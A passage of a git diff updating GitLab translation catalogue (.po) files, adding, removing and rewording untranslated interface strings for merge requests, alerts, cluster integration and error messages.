+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/sk_SK/gitlab.po b/locale/sk_SK/gitlab.po
index 511af422e99..5a8b2438718 100644
--- a/locale/sk_SK/gitlab.po
+++ b/locale/sk_SK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sk\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:48\n"
+"PO-Revision-Date: 2020-09-04 23:10\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -60,13 +60,13 @@ msgstr[3] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -75,6 +75,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -389,6 +392,9 @@ msgstr[3] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -425,6 +431,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -489,6 +498,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -516,7 +528,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -603,9 +615,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -624,6 +633,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -633,6 +645,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -755,6 +779,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -784,6 +811,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -799,6 +829,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -882,6 +915,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -915,6 +951,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -924,7 +963,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -970,6 +1024,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1204,15 +1261,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1276,7 +1324,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1294,6 +1342,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1396,6 +1447,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1507,6 +1561,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1541,12 +1598,6 @@ msgstr[3] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1661,6 +1712,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1673,6 +1727,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1685,6 +1742,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1964,6 +2024,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1979,6 +2042,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2208,6 +2274,9 @@ msgstr[3] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2238,7 +2307,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2295,9 +2364,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2310,6 +2376,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2352,16 +2421,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2391,7 +2457,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2490,6 +2556,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2637,6 +2706,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2703,6 +2775,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2775,9 +2850,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2919,13 +3003,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2952,12 +3039,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -3036,6 +3129,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3259,6 +3355,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3271,6 +3370,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3286,9 +3388,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3397,7 +3496,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3409,9 +3508,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3424,6 +3520,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3687,7 +3786,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3765,6 +3864,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3891,7 +3993,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -4005,6 +4107,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -4074,13 +4179,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4275,6 +4383,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4449,6 +4560,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4482,10 +4596,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4506,7 +4620,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4692,9 +4806,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4920,7 +5031,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -5088,9 +5199,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5196,6 +5313,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5229,19 +5349,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5289,13 +5415,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5313,6 +5442,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5352,15 +5484,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5385,6 +5514,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5568,9 +5700,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5766,7 +5895,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5985,12 +6114,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -6030,15 +6162,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -6063,6 +6207,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -6078,9 +6225,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6111,7 +6255,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6288,6 +6432,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6490,7 +6640,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6949,9 +7099,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -7036,6 +7183,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -7048,6 +7198,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -7072,15 +7225,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7111,6 +7270,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -7126,6 +7288,13 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Create"
msgstr ""
@@ -7216,6 +7385,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7252,6 +7424,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
